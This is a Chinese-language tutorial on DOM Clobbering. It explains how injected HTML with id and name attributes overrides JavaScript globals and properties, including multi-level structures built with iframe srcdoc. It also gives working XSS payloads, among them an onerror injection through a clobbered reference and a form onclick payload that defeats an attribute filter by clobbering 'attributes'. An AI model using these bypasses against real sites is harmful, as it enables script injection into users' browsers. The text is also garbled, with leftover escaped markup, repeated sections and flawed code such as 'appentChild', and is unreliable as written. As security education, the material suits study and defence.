DOM Clobbering 技术详解<\/h1>

什么是 DOM Clobbering？<\/h2>

简单定义<\/h3>
DOM Clobbering 是一种通过在页面中插入 HTML 代码，改变 JavaScript 中全局变量或对象属性的含义，从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。<\/p>

根本原理<\/h3>

当 HTML 标签设置了 id 属性后，可以在 JavaScript 中直接通过 id 值访问该元素：<\/p>

<input<\/span> id<\/span>=<\/span>x<\/span>>
<\/span><\/span><script<\/span>>alert<\/span>(x<\/span>); \/\/ 输出: [object HTMLInputElement]<\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>如果 JavaScript 中已存在同名全局变量或对象属性 x，则该变量的含义会被破坏。<\/p>
利用前提<\/h3>

被攻击页面允许用户插入 HTML 代码<\/li>
页面的 JavaScript 脚本使用了类似 a.b.c<\/code> 层级结构的全局变量或对象属性引用来修改页面 DOM<\/li>
<\/ol>
多层引用结构的构造<\/h2>
二层结构<\/h3>
当多个标签具有相同 id 值时，浏览器会自动形成 HTMLCollection，可以通过数字索引或 name 值访问集合中的元素：<\/p>
<input<\/span> id<\/span>=<\/span>idValue<\/span> name<\/span>=<\/span>x<\/span>>
<\/span><\/span><a<\/span> href<\/span>=<\/span>"\/\/clobbering"<\/span> id<\/span>=<\/span>idValue<\/span> name<\/span>=<\/span>n<\/span>>dom clobbering<\/a<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>    alert<\/span>(idValue<\/span>);         \/\/ 输出: [object HTMLCollection]
<\/span><\/span><\/span><\/span>    alert<\/span>(idValue<\/span>.x<\/span>);       \/\/ 输出: [object HTMLInputElement]
<\/span><\/span><\/span><\/span>    alert<\/span>(idValue<\/span>[1<\/span>]);      \/\/ 输出: http:\/\/clobbering\/
<\/span><\/span><\/span><\/span>    alert<\/span>(idValue<\/span>.aName<\/span>);   \/\/ 输出: http:\/\/clobbering\/
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>注意：使用 id 值访问锚标签时返回的是 href 属性值。<\/p>
三层及以上结构<\/h3>
利用 iframe 和 srcdoc 可以构造更高层级的结构：<\/p>
<iframe<\/span> name<\/span>=<\/span>a<\/span> srcdoc<\/span>=<\/span>"
<\/span><\/span><\/span><iframe name=b srcdoc='<a id=c name=d href=cid:Clobbered>test<\/a>'>"<\/span>><\/iframe<\/span>>
<\/span><\/span><script<\/span>>setTimeout<\/span>(()=>alert<\/span>(a<\/span>.b<\/span>.c<\/span>),500<\/span>); \/\/ 输出: cid:Clobbered<\/span><\/script<\/span>>
<\/span><\/span>
<\/span><\/span><iframe<\/span> name<\/span>=<\/span>a<\/span> srcdoc<\/span>=<\/span>"
<\/span><\/span><\/span><iframe name=b srcdoc='<a id=c><a id=c name=d href=cid:Clobbered>test<\/a>'>"<\/span>><\/iframe<\/span>>
<\/span><\/span><script<\/span>>setTimeout<\/span>(()=>alert<\/span>(a<\/span>.b<\/span>.c<\/span>.d<\/span>),500<\/span>); \/\/ 输出: cid:Clobbered<\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>注意：需要使用 setTimeout 等待 iframe 渲染完成。<\/p>
带限制的层级结构<\/h3>
不使用锚标签时，可以通过 HTML 规范中定义的属性名进行引用：<\/p>
<div<\/span> id<\/span>=<\/span>idValue<\/span> align<\/span>=<\/span>clobbering<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>    alert<\/span>(idValue<\/span>.align<\/span>);   \/\/ 输出: clobbering
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>不同的 id 值组合形成 HTMLCollection<\/h3>
表单与表单控件、表单与图像标签间可以形成 HTMLCollection：<\/p>
<form<\/span> id<\/span>=<\/span>idValue1<\/span> name<\/span>=<\/span>m<\/span>>
<\/span><\/span><input<\/span> id<\/span>=<\/span>idValue2<\/span> value<\/span>=<\/span>"clobbering"<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>alert<\/span>(idValue1<\/span>);                \/\/ 输出: [object HTMLFormElement]
<\/span><\/span><\/span><\/span>alert<\/span>(idValue1<\/span>.idValue2<\/span>.value<\/span>); \/\/ 输出: clobbering
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>利用实例<\/h2>
二层结构破坏脚本中的对象引用<\/h3>
<html<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span>    <a<\/span> id<\/span>=<\/span>name1<\/span>><a<\/span> href<\/span>=<\/span>'cid:"onerror=alert(1)\/\/'<\/span> id<\/span>=<\/span>name1<\/span> name<\/span>=<\/span>name2<\/span>> <!-- 攻击者插入 --><\/span>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span>
<\/span><\/span><script<\/span>>
<\/span><\/span>    let<\/span> outdiv<\/span> =<\/span> document.createElement<\/span>("div"<\/span>);
<\/span><\/span>    let<\/span> image<\/span> =<\/span> ''<\/span>;
<\/span><\/span>    outdiv<\/span>.innerHTML<\/span> =<\/span> image<\/span>;
<\/span><\/span>    document.body<\/span>.appentChild<\/span>(outdiv<\/span>);
<\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>破坏脚本中的属性(property)引用<\/h3>
目标页面代码：<\/p>
<html<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span>    <form<\/span> action<\/span>=<\/span>""<\/span> id<\/span>=<\/span>"form1"<\/span>>
<\/span><\/span>    <input<\/span> type<\/span>=<\/span>"text"<\/span> name<\/span>=<\/span>"payload"<\/span> style<\/span>=<\/span>"width: 500px;height:60px;"<\/span>><br<\/span>>
<\/span><\/span>    <input<\/span> type<\/span>=<\/span>"button"<\/span> onclick<\/span>=<\/span>formSubmit()<\/span> value<\/span>=<\/span>"submit"<\/span>>
<\/span><\/span>    <\/form<\/span>>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>function<\/span> DomBFS<\/span>(element<\/span>, callback<\/span>) {
<\/span><\/span>    var<\/span> queue<\/span> =<\/span> []; 
<\/span><\/span>    while<\/span>(element<\/span>) {
<\/span><\/span>        callback<\/span>(element<\/span>);
<\/span><\/span>        if<\/span>(element<\/span>.children<\/span>.length<\/span> !==<\/span> 0<\/span>) {
<\/span><\/span>            for<\/span> (var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> element<\/span>.children<\/span>.length<\/span>; i<\/span>++<\/span>) {
<\/span><\/span>                queue<\/span>.push<\/span>(element<\/span>.children<\/span>[i<\/span>]);
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>        element<\/span> =<\/span> queue<\/span>.shift<\/span>(); 
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>let<\/span> blockAttributes<\/span> =<\/span> ["onclick"<\/span>, "onerror"<\/span>];
<\/span><\/span>function<\/span> formSubmit<\/span>() {
<\/span><\/span>    let<\/span> f<\/span> =<\/span> document.getElementById<\/span>("form1"<\/span>);
<\/span><\/span>    let<\/span> sandbox<\/span> =<\/span> document.implementation<\/span>.createHTMLDocument<\/span>(''<\/span>);
<\/span><\/span>    let<\/span> root<\/span> =<\/span> sandbox<\/span>.createElement<\/span>("div"<\/span>);
<\/span><\/span>    root<\/span>.innerHTML<\/span> =<\/span> f<\/span>.payload<\/span>.value<\/span>;
<\/span><\/span>
<\/span><\/span>    DomBFS<\/span>(root<\/span>, function<\/span>(element<\/span>){
<\/span><\/span>        for<\/span>(var<\/span> a<\/span> =<\/span> 0<\/span>; a<\/span> <<\/span> element<\/span>.attributes<\/span>.length<\/span>; a<\/span>+=<\/span>1<\/span>) {
<\/span><\/span>            let<\/span> attr<\/span> =<\/span> element<\/span>.attributes<\/span>[a<\/span>];
<\/span><\/span>            if<\/span>(blockAttributes<\/span>.indexOf<\/span>(attr<\/span>.name<\/span>) !=<\/span> -<\/span>1<\/span>) {
<\/span><\/span>                element<\/span>.removeAttribute<\/span>(attr<\/span>.name<\/span>);
<\/span><\/span>                a<\/span> -=<\/span> 1<\/span>;
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    })
<\/span><\/span>    document.body<\/span>.appendChild<\/span>(root<\/span>);
<\/span><\/span>}
<\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>Payload:<\/p>
<form<\/span> onclick<\/span>=<\/span>alert(1)<\/span>><input<\/span> id<\/span>=<\/span>attributes<\/span>>Click me
<\/span><\/span><\/code><\/pre>分析：<\/p>

目标页面在对标签属性进行过滤时调用了 element.attributes.length<\/code><\/li>
payload 中设置了 id 为 attributes 的 input 标签，破坏了过滤代码中的 attributes 含义<\/li>
当遍历到 form 标签时，element.attributes<\/code> 引用的是 input 标签而非 form 的属性<\/li>
input 标签的 length 属性未定义，返回 undefined，跳过过滤<\/li>
<\/ul>
参考资料<\/h2>

Dom Clobbering by Gareth Heyes<\/li>
DOM Clobbering strikes back by Gareth Heyes<\/li>
XSS in GMail's AMP4Email via DOM Clobbering by Michał Bentkowski<\/li>
Dom clobbering by Web Security Academy<\/li>
Unsafe Names for HTML Form Controls by Garrett Smith<\/li>
浅谈DOM遍历 by jh903<\/li>
<\/ol>

DOM Clobbering 技术详解<\/h1>

什么是 DOM Clobbering？<\/h2>

简单定义<\/h3> DOM Clobbering 是一种通过在页面中插入 HTML 代码，改变 JavaScript 中全局变量或对象属性的含义，从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。<\/p>

多层引用结构的构造<\/h2>

利用实例<\/h2>

简单定义<\/h3>
DOM Clobbering 是一种通过在页面中插入 HTML 代码，改变 JavaScript 中全局变量或对象属性的含义，从而永久改变 JavaScript 执行结果的技术。"Clobbering"一词指的是破坏原有的全局变量或对象属性。<\/p>